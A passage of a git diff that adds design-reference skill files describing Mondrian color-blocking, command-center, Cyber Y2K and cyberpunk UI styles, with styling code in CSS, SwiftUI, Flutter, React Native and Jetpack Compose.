Expanded( + flex: 3, // 3/5 of vertical space + child: Row( + children: [ + Expanded(flex: 1, child: ColorBlock(color: const Color(0xFFFACC15), text: 'CREATE', textColor: Colors.black)), + const SizedBox(width: 4), // Grid line + Expanded(flex: 2, child: ColorBlock(color: const Color(0xFF2563EB), text: 'VISION', textColor: Colors.white)), + ], + ), + ), + const SizedBox(height: 4), // Horizontal grid line + // Bottom Row + Expanded( + flex: 2, // 2/5 of vertical space + child: Row( + children: [ + Expanded(flex: 1, child: ColorBlock(color: const Color(0xFFEF4444), text: 'BOLD', textColor: Colors.white)), + const SizedBox(width: 4), + Expanded(flex: 2, child: ColorBlock(color: Colors.white, text: 'MINIMAL', textColor: Colors.black)), + ], + ), + ), + ], + ), + ), + ); + } +} + +class ColorBlock extends StatelessWidget { + final Color color; + final String text; + final Color textColor; + const ColorBlock({required this.color, required this.text, required this.textColor}); + + @override + Widget build(BuildContext context) { + return Container( + color: color, + padding: const EdgeInsets.all(24), + alignment: Alignment.bottomLeft, + child: Text(text, style: TextStyle(fontSize: 32, fontWeight: FontWeight.w900, color: textColor)), + ); + } +} +``` +- Use `Expanded` with varying `flex` factors to divide the screen geometrically. +- Insert `SizedBox(width: 4)` or `height: 4` between rows and columns to expose the black `Scaffold` background, creating the grid lines. + +### React Native +```jsx +const ColorBlockingScreen = () => { + return ( + <View style={{ flex: 1, backgroundColor: '#000', gap: 4 }}> + {/* Top Row */} + <View style={{ flex: 3, flexDirection: 'row', gap: 4 }}> + <View style={[styles.block, { flex: 1, backgroundColor: '#FACC15' }]}> + <Text style={[styles.text, { color: '#000' }]}>CREATE</Text> + </View> + <View style={[styles.block, { flex: 2, backgroundColor: '#2563EB' }]}> + <Text style={[styles.text, { color: '#FFF' }]}>VISION</Text> + </View> + </View> + + {/* Bottom Row */} + <View style={{ flex: 2, flexDirection: 'row', gap: 4 }}> + <View style={[styles.block, { flex: 1, backgroundColor: '#EF4444' }]}> + <Text style={[styles.text, { color: '#FFF' }]}>BOLD</Text> + </View> + <View style={[styles.block, { flex: 2, backgroundColor: '#FFF' }]}> + <Text style={[styles.text, { color: '#000' }]}>MINIMAL</Text> + </View> + </View> + </View> + ); +}; + +const styles = StyleSheet.create({ + block: { + justifyContent: 'flex-end', + padding: 24, + }, + text: { + fontSize: 32, + fontWeight: '900', + fontFamily: 'SpaceGrotesk-Bold', + } +}); +``` +- The `gap` property in React Native flexbox makes this trivial. Set a black background on the parent, set `gap: 4`, and the children automatically space out, revealing the thick black lines. +- Use `flex: 1`, `flex: 2` etc. to determine block proportions. + +### Jetpack Compose +```kotlin +@Composable +fun ColorBlockingScreen() { + val gridSpacing = 4.dp + + Column( + modifier = Modifier + .fillMaxSize() + .background(Color.Black) // Grid lines + ) { + // Top Row + Row( + modifier = Modifier.weight(3f), + horizontalArrangement = Arrangement.spacedBy(gridSpacing) + ) { + ColorBlock(Color(0xFFFACC15), "CREATE", Color.Black, Modifier.weight(1f)) + ColorBlock(Color(0xFF2563EB), "VISION", Color.White, Modifier.weight(2f)) + } + + Spacer(Modifier.height(gridSpacing)) + + // Bottom Row + Row( + modifier = Modifier.weight(2f), + horizontalArrangement = Arrangement.spacedBy(gridSpacing) + ) { + ColorBlock(Color(0xFFEF4444), "BOLD", Color.White, Modifier.weight(1f)) + ColorBlock(Color.White, "MINIMAL", Color.Black, Modifier.weight(2f)) + } + } +} + +@Composable +fun ColorBlock(color: Color, text: String, textColor: Color, modifier: Modifier = Modifier) { + Box( + modifier = modifier + .fillMaxHeight() + .background(color) + .padding(24.dp), + contentAlignment = Alignment.BottomStart + ) { + Text(text, fontSize = 32.sp, fontWeight = FontWeight.Black, color = textColor) + } +} +``` +- Like other mobile frameworks, `Modifier.background(Color.Black)` combined with `Arrangement.spacedBy(4.dp)` perfectly creates the Mondrian grid. +- Use `Modifier.weight(Xf)` to mathematically divide the screen real estate. + +## Do's and Don'ts +- **DO**: Ensure extreme contrast. Text on a yellow block should be black. Text on a dark blue block should be white. +- **DON'T**: Use drop shadows, rounded corners, or gradients. Keep it completely flat and sharp. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/command-center-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/command-center-ui/SKILL.md new file mode 100644 index 00000000..2a4e07af --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/command-center-ui/SKILL.md @@ -0,0 +1,345 @@ +--- +name: command-center-ui +description: Web and App implementation guide for Command Center UI. Trigger when user wants monitoring systems, enterprise dashboards, NOCs, and global maps. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Command Center UI + +> "Mission Control. Global monitoring, real-time alerts, and high-stakes data visualization." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Dark/Black Backgrounds**: Essential for a room full of glowing monitors (NOCs). It makes the data pop and reduces glare. +2. **Maps & Topologies**: The center of the UI is almost always a dark-mode geographical map or a node-based network topology. +3. **Alert Hierarchy**: 90% of the screen is calm and blue/grey. When a warning happens, it flashes bright amber or red to immediately draw the eye. + +## Visual DNA +- **Colors**: Pure black (`#000000`) or deep navy (`#0B132B`). Accents are electric cyan (`#00FFFF`), amber (`#FFBF00`), and critical red (`#FF0000`). +- **Typography**: Clean, tech-focused sans-serifs (`Orbitron`, `Roboto`, `Share Tech`). +- **Styling**: Glowing borders, radar sweeps, and stark, data-driven charts. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #030a16; + color: #8ab4f8; + font-family: 'Roboto', sans-serif; + margin: 0; + display: grid; + grid-template-columns: 300px 1fr 300px; + height: 100vh; +} + +.panel { + background-color: rgba(13, 27, 42, 0.8); + border: 1px solid #1c355e; + box-shadow: inset 0 0 20px rgba(0, 255, 255, 0.05); + margin: 10px; + display: flex; + flex-direction: column; +} + +.panel-header { + background: linear-gradient(90deg, #1c355e, transparent); + color: #00ffff; + padding: 8px 16px; + font-weight: bold; + text-transform: uppercase; + letter-spacing: 2px; + border-bottom: 1px solid #00ffff; +} + +/* The Map/Center view */ +.main-view { + /* Placeholder for a massive globe or map */ + background: radial-gradient(circle, #0d1b2a 0%, #030a16 100%); + position: relative; +} + +/* Critical Alert */ +.alert-critical { + background-color: rgba(255, 0, 0, 0.1); + border: 1px solid #ff0000; + color: #ff0000; + box-shadow: 0 0 10px rgba(255, 0, 0, 0.5); + animation: pulse-red 2s infinite; +} + +@keyframes pulse-red { + 0% { box-shadow: 0 0 5px rgba(255, 0, 0, 0.2); } + 50% { box-shadow: 0 0 20px rgba(255, 0, 0, 0.8); } + 100% { box-shadow: 0 0 5px rgba(255, 0, 0, 0.2); } +} +``` + +## App Implementation + +### SwiftUI +```swift +struct CommandCenterView: View { + @State private var isAlerting = false + + var body: some View { + VStack(spacing: 16) { + // Header + HStack { + Text("GLOBAL_OPS // ALPHA") + .font(.custom("Orbitron", size: 20)) + .foregroundColor(Color(red: 0.0, green: 1.0, blue: 1.0)) // Cyan + Spacer() + Text(Date(), style: .time).foregroundColor(.gray) + } + .padding() + .border(Color(red: 0.0, green: 1.0, blue: 1.0), width: 1) + + // Map or main visual placeholder + Circle() + .strokeBorder( + LinearGradient(colors: [.cyan, .blue], startPoint: .top, endPoint: .bottom), + lineWidth: 2 + ) + .frame(height: 250) + .overlay(Text("TOPOLOGY SCAN").foregroundColor(.cyan.opacity(0.5))) + + // Critical Alert Panel + VStack(alignment: .leading) { + Text("WARNING: SECTOR 7G") + .font(.headline) + .foregroundColor(.red) + Text("Anomalous activity detected.") + .font(.subheadline) + .foregroundColor(.white) + } + .padding() + .frame(maxWidth: .infinity, alignment: .leading) + .background(Color.red.opacity(0.1)) + .border(Color.red, width: 2) + .shadow(color: isAlerting ? .red : .clear, radius: 10) + } + .padding() + .frame(maxWidth: .infinity, maxHeight: .infinity) + .background(Color(red: 0.01, green: 0.04, blue: 0.09)) // Very dark navy + .onAppear { + withAnimation(.easeInOut(duration: 1.0).repeatForever()) { + isAlerting.toggle() + } + } + } +} +``` +- Rely heavily on `.border()` and `.strokeBorder()` combined with gradients to create technical, glowing wireframes. +- Use `.shadow()` animated continuously for pulse alerts. + +### Flutter +```dart +class CommandCenterScreen extends StatefulWidget { + @override + State<CommandCenterScreen> createState() => _CommandCenterScreenState(); +} + +class _CommandCenterScreenState extends State<CommandCenterScreen> with SingleTickerProviderStateMixin { + late AnimationController _pulseController; + + @override + void initState() { + super.initState(); + _pulseController = AnimationController(vsync: this, duration: const Duration(seconds: 1))..repeat(reverse: true); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF030A16), // Dark NOC background + body: SafeArea( + child: Padding( + padding: const EdgeInsets.all(16.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.stretch, + children: [ + // Panel Header + Container( + padding: const EdgeInsets.all(12), + decoration: const BoxDecoration( + border: Border(bottom: BorderSide(color: Colors.cyan)), + gradient: LinearGradient(colors: [Color(0xFF1C355E), Colors.transparent]), + ), + child: const Text('GLOBAL_OPS // ALPHA', + style: TextStyle(color: Colors.cyan, fontFamily: 'Orbitron', letterSpacing: 2)), + ), + const SizedBox(height: 24), + // Map Placeholder + Expanded( + child: Container( + decoration: BoxDecoration( + shape: BoxShape.circle, + border: Border.all(color: Colors.cyan.withOpacity(0.5), width: 2), + ), + child: const Center(child: Text('RADAR ACTIVE', style: TextStyle(color: Colors.cyan))), + ), + ), + const SizedBox(height: 24), + // Animated Critical Alert + AnimatedBuilder( + animation: _pulseController, + builder: (context, child) { + return Container( + padding: const EdgeInsets.all(16), + decoration: BoxDecoration( + color: Colors.red.withOpacity(0.1), + border: Border.all(color: Colors.red), + boxShadow: [ + BoxShadow(color: Colors.red.withOpacity(_pulseController.value * 0.8), blurRadius: 20) + ], + ), + child: const Text('WARNING: SECTOR 7G', style: TextStyle(color: Colors.red, fontWeight: FontWeight.bold)), + ); + }, + ), + ], + ), + ), + ), + ); + } +} +``` +- A `Container` with a `LinearGradient` that fades to `Colors.transparent` is excellent for high-tech headers. +- Use `AnimatedBuilder` to manipulate the `blurRadius` and opacity of `BoxShadow` to create flashing alert panels. + +### React Native +```jsx +const CommandCenterScreen = () => { + const pulseAnim = useRef(new Animated.Value(0)).current; + + useEffect(() => { + Animated.loop( + Animated.sequence([ + Animated.timing(pulseAnim, { toValue: 1, duration: 1000, useNativeDriver: false }), + Animated.timing(pulseAnim, { toValue: 0, duration: 1000, useNativeDriver: false }) + ]) + ).start(); + }, []); + + const shadowOpacity = pulseAnim.interpolate({ inputRange: [0, 1], outputRange: [0.2, 1] }); + + return ( + <View style={{ flex: 1, backgroundColor: '#030A16', padding: 16 }}> + {/* Header Panel */} + <View style={{ + borderBottomWidth: 1, borderColor: '#00FFFF', padding: 12, backgroundColor: '#1C355E' + }}> + <Text style={{ color: '#00FFFF', fontFamily: 'monospace', letterSpacing: 2 }}> + GLOBAL_OPS // ALPHA + </Text> + </View> + + <View style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }}> + <View style={{ + width: 250, height: 250, borderRadius: 125, borderWidth: 2, borderColor: '#00FFFF', + justifyContent: 'center', alignItems: 'center' + }}> + <Text style={{ color: '#00FFFF', opacity: 0.5 }}>SCANNING...</Text> + </View> + </View> + + {/* Critical Alert */} + <Animated.View style={{ + backgroundColor: 'rgba(255,0,0,0.1)', + borderWidth: 2, borderColor: '#FF0000', padding: 16, + shadowColor: '#FF0000', shadowRadius: 15, shadowOpacity, elevation: 10 + }}> + <Text style={{ color: '#FF0000', fontWeight: 'bold', fontSize: 18 }}>WARNING: SECTOR 7G</Text> + <Text style={{ color: '#FFF' }}>Anomalous activity detected.</Text> + </Animated.View> + </View> + ); +}; +``` +- Rely on sharp 1px or 2px borders with bright hex values (`#00FFFF`, `#FF0000`) instead of border radii. +- Keep backgrounds extremely dark navy (`#030A16`) rather than pure black to avoid OLED smearing while maintaining the NOC feel. + +### Jetpack Compose +```kotlin +@Composable +fun CommandCenterScreen() { + val infiniteTransition = rememberInfiniteTransition() + val pulseAlpha by infiniteTransition.animateFloat( + initialValue = 0.2f, + targetValue = 1.0f, + animationSpec = infiniteRepeatable( + animation = tween(1000, easing = LinearEasing), + repeatMode = RepeatMode.Reverse + ) + ) + + Column( + modifier = Modifier + .fillMaxSize() + .background(Color(0xFF030A16)) + .padding(16.dp) + ) { + // Header + Box( + modifier = Modifier + .fillMaxWidth() + .background(Brush.horizontalGradient(listOf(Color(0xFF1C355E), Color.Transparent))) + .border(width = 1.dp, color = Color.Cyan) // Simplified border + .padding(12.dp) + ) { + Text("GLOBAL_OPS // ALPHA", color = Color.Cyan, fontFamily = FontFamily.Monospace, letterSpacing = 2.sp) + } + + Spacer(Modifier.height(32.dp)) + + // Main Visual + Box( + modifier = Modifier + .weight(1f) + .fillMaxWidth(), + contentAlignment = Alignment.Center + ) { + Box( + modifier = Modifier + .size(250.dp) + .border(2.dp, Color.Cyan.copy(alpha = 0.5f), CircleShape), + contentAlignment = Alignment.Center + ) { + Text("SCANNING...", color = Color.Cyan.copy(alpha = 0.5f)) + } + } + + Spacer(Modifier.height(32.dp)) + + // Critical Alert + Column( + modifier = Modifier + .fillMaxWidth() + .shadow(20.dp, spotColor = Color.Red.copy(alpha = pulseAlpha), ambientColor = Color.Red.copy(alpha = pulseAlpha)) + .background(Color.Red.copy(alpha = 0.1f)) + .border(2.dp, Color.Red) + .padding(16.dp) + ) { + Text("WARNING: SECTOR 7G", color = Color.Red, fontWeight = FontWeight.Bold, fontSize = 18.sp) + Text("Anomalous activity detected.", color = Color.White) + } + } +} +``` +- Compose handles neon interfaces very well. Use `Modifier.border(..., CircleShape)` for radar rings. +- To make a container glow in Compose, you must use `Modifier.shadow` with the `spotColor` and `ambientColor` set to your neon color, bypassing the default black shadow. + +## Do's and Don'ts +- **DO**: Create a distinct visual rhythm. The screen should feel calm until a specific alert requires attention. +- **DON'T**: Fill the screen with bright, solid white panels. A command center should glow softly, not blind the user. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/cyber-y2k/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/cyber-y2k/SKILL.md new file mode 100644 index 00000000..fec311cd --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/cyber-y2k/SKILL.md @@ -0,0 +1,312 @@ +--- +name: cyber-y2k +description: Web and App implementation guide for Cyber Y2K. Trigger when user wants modern Y2K, holographic visuals, and glitch aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Cyber Y2K + +> "Y2K, but seen through a distorted, modern lens. Darker, glitchier, and highly holographic." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Holographic Gradients**: Iridescent, oil-slick color palettes that shift as you move. +2. **Glitch Art**: Text or images that appear corrupted, split into RGB channels, or stutter. +3. **Tribal & Tribal-Tech Vectors**: Sharp, aggressive vector graphics (think early 2000s tribal tattoos mixed with circuit boards). + +## Visual DNA +- **Colors**: Deep black background. Highlights are holographic (purple, cyan, lime green, hot pink all mixed into fluid gradients). +- **Typography**: Extremely bold, stretched fonts, or highly technical monospace fonts. +- **Visuals**: CD-ROM reflections, barbed wire graphics, and heavy chromatic aberration. + +## Web Implementation +- Use CSS animations for glitching and animated background gradients. +- **CSS Example**: +```css +body { + background-color: #050505; + color: #fff; +} + +/* Holographic button */ +.cyber-y2k-btn { + background: linear-gradient(124deg, #ff2400, #e81d1d, #e8b71d, #e3e81d, #1de840, #1ddde8, #2b1de8, #dd00f3, #dd00f3); + background-size: 1800% 1800%; + animation: rainbow 18s ease infinite; + + color: #fff; + font-weight: 900; + text-transform: uppercase; + border: 1px solid rgba(255,255,255,0.5); + border-radius: 30px; + padding: 16px 32px; + mix-blend-mode: screen; /* Makes it interact with background */ +} + +@keyframes rainbow { + 0%{background-position:0% 82%} + 50%{background-position:100% 19%} + 100%{background-position:0% 82%} +} + +/* RGB Split text effect */ +.glitch-text { + position: relative; + font-family: 'Courier New', monospace; + font-size: 3rem; + font-weight: bold; +} +.glitch-text::before, .glitch-text::after { + content: attr(data-text); + position: absolute; + top: 0; left: 0; + opacity: 0.8; +} +.glitch-text::before { + color: #0ff; + z-index: -1; + transform: translate(-3px, 2px); +} +.glitch-text::after { + color: #f0f; + z-index: -2; + transform: translate(3px, -2px); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct CyberY2KView: View { + @State private var rotation: Double = 0 + + var body: some View { + ZStack { + Color.black.ignoresSafeArea() + + VStack(spacing: 40) { + // Glitch Text + ZStack { + Text("SYSTEM.ERROR") + .font(.custom("Courier New", size: 40).bold()) + .foregroundColor(.cyan) + .offset(x: -3, y: 2) // RGB split channel 1 + + Text("SYSTEM.ERROR") + .font(.custom("Courier New", size: 40).bold()) + .foregroundColor(.pink) + .offset(x: 3, y: -2) // RGB split channel 2 + + Text("SYSTEM.ERROR") + .font(.custom("Courier New", size: 40).bold()) + .foregroundColor(.white) + } + + // Holographic Button + Button(action: {}) { + Text("ENTER MATRIX") + .font(.headline.weight(.black)) + .foregroundColor(.white) + .padding(.horizontal, 32) + .padding(.vertical, 16) + .background( + AngularGradient( + gradient: Gradient(colors: [.red, .yellow, .green, .cyan, .blue, .purple, .red]), + center: .center, + angle: .degrees(rotation) + ) + ) + .cornerRadius(30) + .overlay(RoundedRectangle(cornerRadius: 30).stroke(Color.white.opacity(0.5), lineWidth: 1)) + } + .onAppear { + withAnimation(.linear(duration: 5).repeatForever(autoreverses: false)) { + rotation = 360 + } + } + } + } + } +} +``` +- The RGB Glitch effect is incredibly simple in SwiftUI: stack three identical `Text` views in a `ZStack`. Give the bottom ones `.cyan` and `.pink` colors and slightly `.offset()` them. +- Use an `AngularGradient` bound to a rotating `@State` variable to achieve the iridescent CD-ROM holographic effect. + +### Flutter +```dart +class CyberY2KScreen extends StatefulWidget { + @override + State<CyberY2KScreen> createState() => _CyberY2KScreenState(); +} + +class _CyberY2KScreenState extends State<CyberY2KScreen> with SingleTickerProviderStateMixin { + late AnimationController _controller; + + @override + void initState() { + super.initState(); + _controller = AnimationController(vsync: this, duration: const Duration(seconds: 5))..repeat(); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.black, + body: Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Glitch Text + Stack( + children: [ + Transform.translate(offset: const Offset(-3, 2), child: const Text('SYSTEM.ERROR', style: TextStyle(color: Colors.cyan, fontSize: 40, fontFamily: 'Courier', fontWeight: FontWeight.bold))), + Transform.translate(offset: const Offset(3, -2), child: const Text('SYSTEM.ERROR', style: TextStyle(color: Colors.pinkAccent, fontSize: 40, fontFamily: 'Courier', fontWeight: FontWeight.bold))), + const Text('SYSTEM.ERROR', style: TextStyle(color: Colors.white, fontSize: 40, fontFamily: 'Courier', fontWeight: FontWeight.bold)), + ], + ), + const SizedBox(height: 60), + // Holographic Button via ShaderMask + AnimatedBuilder( + animation: _controller, + builder: (context, child) { + return ShaderMask( + shaderCallback: (Rect bounds) { + return SweepGradient( + colors: const [Colors.red, Colors.yellow, Colors.green, Colors.cyan, Colors.blue, Colors.purple, Colors.red], + transform: GradientRotation(_controller.value * 2 * 3.14159), // Rotate through 360 degrees + ).createShader(bounds); + }, + child: Container( + decoration: BoxDecoration( + color: Colors.white, // Color to be masked by shader + borderRadius: BorderRadius.circular(30), + border: Border.all(color: Colors.white.withOpacity(0.5)), + ), + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + child: const Text('ENTER MATRIX', style: TextStyle(color: Colors.black, fontWeight: FontWeight.w900)), + ), + ); + }, + ), + ], + ), + ), + ); + } +} +``` +- In Flutter, a `ShaderMask` with a `SweepGradient` attached to an `AnimationController` creates a perfect, performant oil-slick holographic effect over any widget. +- Use `Stack` and `Transform.translate` to build the RGB glitch text. + +### React Native +```jsx +// Requires react-native-linear-gradient for complex gradients +import LinearGradient from 'react-native-linear-gradient'; + +const GlitchText = ({ text }) => { + const baseStyle = { fontSize: 40, fontFamily: 'Courier', fontWeight: 'bold', position: 'absolute' }; + return ( + <View style={{ alignItems: 'center', height: 50, justifyContent: 'center' }}> + <Text style={[baseStyle, { color: '#00FFFF', transform: [{ translateX: -3 }, { translateY: 2 }] }]}>{text}</Text> + <Text style={[baseStyle, { color: '#FF00FF', transform: [{ translateX: 3 }, { translateY: -2 }] }]}>{text}</Text> + <Text style={[baseStyle, { color: '#FFF' }]}>{text}</Text> + </View> + ); +}; + +const CyberY2KScreen = () => { + return ( + <View style={{ flex: 1, backgroundColor: '#050505', justifyContent: 'center', alignItems: 'center' }}> + <GlitchText text="SYSTEM.ERROR" /> + + <View style={{ marginTop: 60 }}> + {/* React Native cannot easily animate gradient angles natively. + Use a complex LinearGradient to simulate the iridescent shine. */} + <LinearGradient + colors={['#ff2400', '#e8b71d', '#1de840', '#1ddde8', '#dd00f3']} + start={{ x: 0, y: 0 }} end={{ x: 1, y: 1 }} + style={{ + borderRadius: 30, padding: 16, paddingHorizontal: 32, + borderWidth: 1, borderColor: 'rgba(255,255,255,0.5)' + }} + > + <Text style={{ color: '#FFF', fontWeight: '900' }}>ENTER MATRIX</Text> + </LinearGradient> + </View> + </View> + ); +}; +``` +- Stacked absolute `<Text>` nodes handle the RGB split glitch well. +- True animating holographic gradients (like Sweep/Angular) require `@shopify/react-native-skia`. If Skia is unavailable, use a static multi-stop `LinearGradient` as a fallback. + +### Jetpack Compose +```kotlin +@Composable +fun GlitchText(text: String) { + Box(contentAlignment = Alignment.Center) { + Text(text, color = Color.Cyan, fontSize = 40.sp, fontFamily = FontFamily.Monospace, fontWeight = FontWeight.Bold, + modifier = Modifier.offset(x = (-3).dp, y = 2.dp)) + Text(text, color = Color.Magenta, fontSize = 40.sp, fontFamily = FontFamily.Monospace, fontWeight = FontWeight.Bold, + modifier = Modifier.offset(x = 3.dp, y = (-2).dp)) + Text(text, color = Color.White, fontSize = 40.sp, fontFamily = FontFamily.Monospace, fontWeight = FontWeight.Bold) + } +} + +@Composable +fun CyberY2KScreen() { + val infiniteTransition = rememberInfiniteTransition() + val rotation by infiniteTransition.animateFloat( + initialValue = 0f, + targetValue = 360f, + animationSpec = infiniteRepeatable( + animation = tween(5000, easing = LinearEasing) + ) + ) + + Column( + modifier = Modifier.fillMaxSize().background(Color.Black), + horizontalAlignment = Alignment.CenterHorizontally, + verticalArrangement = Arrangement.Center + ) { + GlitchText("SYSTEM.ERROR") + + Spacer(Modifier.height(60.dp)) + + // Holographic Button + Box( + modifier = Modifier + .background( + brush = Brush.sweepGradient( + colors = listOf(Color.Red, Color.Yellow, Color.Green, Color.Cyan, Color.Blue, Color.Magenta, Color.Red), + center = Offset.Unspecified + ), + shape = RoundedCornerShape(30.dp) + ) + .graphicsLayer { rotationZ = rotation } // Note: This rotates the whole button. + // To rotate ONLY the gradient brush requires custom ShaderBrush or drawing the rect manually in drawBehind with a rotating matrix. + .border(1.dp, Color.White.copy(alpha = 0.5f), RoundedCornerShape(30.dp)) + .padding(horizontal = 32.dp, vertical = 16.dp) + ) { + Text("ENTER MATRIX", color = Color.White, fontWeight = FontWeight.Black) + } + } +} +``` +- Like other frameworks, use a `Box` to stack text with `Modifier.offset()` for glitches. +- A `Brush.sweepGradient` creates the holographic CD-ROM colors, though rotating the brush *itself* (not the whole widget) in Compose requires a bit of advanced `Matrix` manipulation inside a `ShaderBrush`. + +## Do's and Don'ts +- **DO**: Incorporate UI elements that look like raw HTML/CSS (like visible tables or marquee tags) as an ironic nod to early web. +- **DON'T**: Use clean, modern geometric layouts. Cyber Y2K is chaotic and rebellious. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/cyberpunk-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/cyberpunk-ui/SKILL.md new file mode 100644 index 00000000..f392e361 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/cyberpunk-ui/SKILL.md @@ -0,0 +1,262 @@ +--- +name: cyberpunk-ui +description: Web and App implementation guide for Cyberpunk UI. Trigger when user wants neon colors, dark backgrounds, high-tech dystopian aesthetics, and hacking interfaces. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Cyberpunk UI + +> "High tech, low life. Neon signs cutting through the smog of a dystopian megacity." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Neon on Black**: The foundation is absolute black (`#000000`) or deep charcoal, cut by searingly bright neon accents. +2. **Angled Geometries**: Clipped corners (chamfers) rather than rounded corners. UI elements often look like they were cut from metal plates. +3. **Glitch and Data**: Random streams of hexadecimal data, barcode accents, and intentional visual tearing. + +## Visual DNA +- **Colors**: Acid Yellow (`#FCE205`), Cyan (`#00FFFF`), Hot Pink (`#FF003C`), against Black. +- **Typography**: Industrial, squared-off sans-serifs (like `Rajdhani`, `Blender Pro`, or `Teko`), mixed with small monospace fonts for data. +- **Styling**: Diagonal stripes, warning tape patterns, and heavy outer glows. + +## Web Implementation +- Rely on `clip-path` for the angled cuts. +- **CSS Example**: +```css +body { + background-color: #050505; + color: #00FFFF; + font-family: 'Rajdhani', sans-serif; + background-image: repeating-linear-gradient( + 45deg, + #050505, + #050505 10px, + #0a0a0a 10px, + #0a0a0a 20px + ); +} + +.cyberpunk-button { + background-color: #FF003C; /* Cyberpunk Red/Pink */ + color: #FFF; + font-size: 1.5rem; + font-weight: bold; + text-transform: uppercase; + border: none; + padding: 16px 32px; + + /* The signature clipped corner */ + clip-path: polygon( + 0 0, + calc(100% - 15px) 0, + 100% 15px, + 100% 100%, + 15px 100%, + 0 calc(100% - 15px) + ); + + position: relative; + transition: all 0.2s ease; +} + +/* The glitch/shadow effect */ +.cyberpunk-button:hover { + background-color: #FCE205; /* Acid Yellow */ + color: #000; + box-shadow: + -4px 0 0 #00FFFF, + 4px 0 0 #FF003C; +} + +.data-stream { + font-family: monospace; + font-size: 0.8rem; + color: rgba(0, 255, 255, 0.5); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct CyberpunkShape: Shape { + let cutSize: CGFloat = 15 + func path(in rect: CGRect) -> Path { + var path = Path() + // Top left + path.move(to: CGPoint(x: 0, y: 0)) + // Top right (cut) + path.addLine(to: CGPoint(x: rect.maxX - cutSize, y: 0)) + path.addLine(to: CGPoint(x: rect.maxX, y: cutSize)) + // Bottom right + path.addLine(to: CGPoint(x: rect.maxX, y: rect.maxY)) + // Bottom left (cut) + path.addLine(to: CGPoint(x: cutSize, y: rect.maxY)) + path.addLine(to: CGPoint(x: 0, y: rect.maxY - cutSize)) + path.closeSubpath() + return path + } +} + +struct CyberButton: View { + var body: some View { + Button(action: {}) { + Text("SYS.OVERRIDE") + .font(.custom("Rajdhani", size: 24)) + .fontWeight(.bold) + .foregroundColor(.white) + .padding(.horizontal, 32) + .padding(.vertical, 16) + } + .background(Color(red: 1.0, green: 0.0, blue: 0.24)) // Cyberpunk Red + .clipShape(CyberpunkShape()) + .overlay( + CyberpunkShape() + .stroke(Color(red: 0.0, green: 1.0, blue: 1.0), lineWidth: 2) // Cyan border + ) + } +} +``` +- Define a custom `Shape` that physically cuts off the corners, bypassing standard `cornerRadius`. +- Use `.clipShape()` for the background, and `.overlay()` with `.stroke()` for high-tech borders. + +### Flutter +```dart +class CyberpunkClipper extends CustomClipper<Path> { + final double cutSize = 15.0; + + @override + Path getClip(Size size) { + Path path = Path(); + path.lineTo(size.width - cutSize, 0); // Top right cut start + path.lineTo(size.width, cutSize); // Top right cut end + path.lineTo(size.width, size.height); + path.lineTo(cutSize, size.height); // Bottom left cut start + path.lineTo(0, size.height - cutSize);// Bottom left cut end + path.close(); + return path; + } + + @override + bool shouldReclip(CustomClipper<Path> oldClipper) => false; +} + +class CyberButton extends StatelessWidget { + @override + Widget build(BuildContext context) { + return ClipPath( + clipper: CyberpunkClipper(), + child: Container( + color: const Color(0xFFFF003C), // Cyberpunk Red + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + child: const Text( + 'SYS.OVERRIDE', + style: TextStyle( + color: Colors.white, + fontSize: 24, + fontWeight: FontWeight.bold, + fontFamily: 'Rajdhani', + ), + ), + ), + ); + } +} +``` +- Extend `CustomClipper<Path>` to calculate the precise angular cuts. +- Wrap your containers in `ClipPath`. +- For borders, you must use a `CustomPaint` with a `CustomPainter` that traces the exact same path. + +### React Native +```jsx +import Svg, { Polygon } from 'react-native-svg'; + +const CyberButton = () => { + return ( + <View style={{ alignItems: 'center', justifyContent: 'center', width: 200, height: 60 }}> + {/* Background SVG to achieve the clipped corner look */} + <View style={{ position: 'absolute', top: 0, bottom: 0, left: 0, right: 0 }}> + <Svg height="100%" width="100%" viewBox="0 0 200 60" preserveAspectRatio="none"> + <Polygon + points="0,0 185,0 200,15 200,60 15,60 0,45" + fill="#FF003C" + stroke="#00FFFF" + strokeWidth="2" + /> + </Svg> + </View> + + <Text style={{ + color: '#FFF', + fontSize: 20, + fontWeight: 'bold', + fontFamily: 'Rajdhani-Bold' + }}> + 